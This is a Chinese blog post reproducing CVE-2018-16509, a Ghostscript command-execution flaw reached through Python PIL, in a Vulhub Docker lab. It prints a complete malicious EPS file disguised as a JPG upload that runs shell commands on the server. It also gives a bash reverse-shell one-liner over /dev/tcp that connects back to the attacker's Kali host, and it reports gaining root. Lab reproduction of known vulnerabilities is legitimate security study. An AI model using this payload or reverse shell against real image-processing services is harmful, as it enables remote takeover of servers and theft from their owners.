首页 > 编程语言 > Python PIL 远程命令执行漏洞(via Ghostscript)

Python PIL 远程命令执行漏洞(via Ghostscript)

时间:2023-09-11 20:33:05浏览次数:51  
标签:Ghostscript PIL 16509 Python 漏洞 via 2018 CVE

目录

说明 内容
漏洞编号 PIL-CVE-2018-16509
漏洞名称 Python PIL 远程命令执行漏洞
漏洞评级
影响范围
漏洞描述
修复方案

1.1、漏洞描述

Ghostscript是一套基于Adobe Systems PostScript和可移植文档格式(PDF)页面描述语言的解释器的软件。不知何故,Ghostscript存在于生产服务器中(例如/usr/local/bin/gs/usr/bin/gs),即使没有应用程序直接使用它,因为Ghostscript是作为另一个软件的依赖项安装的(例如ImageMagick)。在Ghostscript中发现了一系列漏洞;其中之一是CVE-2018-16509(由Google Project Zero的Tavis Ormandy发现),该漏洞允许利用Ghostscript v9.24之前的-dSAFER旁路,通过处理PostScript中失败的恢复(grestore)来执行任意命令,以禁用LockSafetyParams并避免invalidaccess。此漏洞可通过ImageMagick等库或具有Ghotscript包装器的编程语言中的图像库(本示例中为PIL/Pillow)访问。

1.2、漏洞等级

1.3、影响版本

1.4、漏洞复现

1、基础环境

Path:Vulhub/python/PIL-CVE-2018-16509


启动测试环境:

sudo docker-compose up -d

访问http://your-ip:8000/即可看到

image

2、漏洞分析

vulhub

3、漏洞验证

可以上传rce.jpg(一个特制的EPS图像,而不是真实的的JPG)以在服务器中执行touch /tmp/got_rce

image-20230911201839418

%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: -0 -0 100 100

userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops

image-20230911201901497

进入docker容器内部,验证是否创建成功

image-20230911202320783

1.5、深度利用

1、反弹Shell

修改poc.png内容,重新上传,上传一句话木马反弹到kali机器上

bash -c "bash -i &> /dev/tcp/192.168.8.8/6868 0>&1"

image-20230911202514718

成功拿到root权限

image-20230911202453124

标签:Ghostscript,PIL,16509,Python,漏洞,via,2018,CVE
From: https://www.cnblogs.com/saury/p/17694442.html

相关文章

  • Python PIL 远程命令执行漏洞(GhostButt )
    目录1.1、漏洞描述1.2、漏洞等级1.3、影响版本1.4、漏洞复现1、基础环境2、漏洞扫描3、漏洞验证1.5、深度利用1、反弹Shell说明内容漏洞编号PIL-CVE-2017-8291漏洞名称PIL远程命令执行漏洞漏洞评级影响范围漏洞描述修复方案1.1、漏洞描述PIL......
  • Python实现文章查重
    软件工程https://edu.cnblogs.com/campus/gdgy/CSGrade21-12作业要求https://edu.cnblogs.com/campus/gdgy/CSGrade21-12/homework/13014作业目标个人项目github链接:https://github.com/momotaaa/3121004806题目:论文查重描述如下:设计一个论文查重算法,给出一......
  • appium+python登录传输多组数据
     #传多组数据,有几组数据,就遍历几次@pytest.mark.parametrize("usname,pswd",[("xiaoming","123456"),("xiaohong","123678")])deftest_login(self,usname,pswd):login_page=LoginPage(driver=self.driver)login_page......
  • calendar:Python日历的处理与生成
    前言calendar库让你可以输出日历,它还提供了其它与日历相关的实用函数。本篇,就将详细讲解calendar库的使用规则。prmonth()与TextCalendar()prmonth()是一个简单的函数,可以生成月的格式文本输出。具体用法如下所示:importcalendarc=calendar.TextCalendar(calendar.MONDAY)......
  • 你真的掌握了python列表用法吗
       列表是python语言中最常用的的数据类型,理解和运用好列表用法对开发工作至关重要。下面列举部分代码,请对照输出结果检验一下结合使用print语句操作列表数据的熟练程度吧。   使用print语句输出列表内容代码li=['我们','中国人民','秦国','赵国']print('例一:#编号......
  • 【Python新手参考】带界面的英文单词计数器
    事情经过昨天晚上用电脑写作文,由于不放心Word的计词器,一时又找不到合适的工具,于是索性自己写了一个。那么为什么要带界面呢?原因是我曾经尝试过input(),但是它不能处理文本中的换行,所以只能将tkinter.Text作为输入框。写完之后我发现这个东西似乎还有点参考价值,故post出来。包含......
  • python pandas学习
    importpandasaspdm_list=[('join',25,'male'),('1isa',30,'female'),('david','18','male')]df=pd.DataFrame(m_list,columns=['Name','age','gend......
  • 海康工业相机使用Python成像,web实时预览(Linux)
    Python实现海康机器人工业相机的实时显示视频流及拍照功能(Linux)代码是在ubuntu系统的orinnano板子上跑的程序,有需要的大佬自行研究更改支持网口相机和usb口相机并且理论上window和Linux通用但是我没有试windows平台代码如下:importsysfromctypesimport*importo......
  • Python - 桌面自动化(PyAutoGUI)
    一、安装windows:pipinstallpyautogui-ihttps://pypi.tuna.tsinghua.edu.cn/simplemac:pipinstallpyobjc-corepipinstallpyobjcpipinstallpyautoguilinux:sudoapt-getinstallscrotpython3-tkpython3-devpipinstallpython3-xlibpipinstallpyautog......
  • Python的requests.post函数上传文件和其他数据
    当使用Python的requests.post函数时,可以在其中添加异常处理来捕获可能的网络错误或HTTP错误。以下是一个示例代码,演示如何使用try-except语句来处理requests.post可能抛出的异常:importrequestsurl='http://cbim.com/upload'files={'file1':('file1.txt',open('file1.t......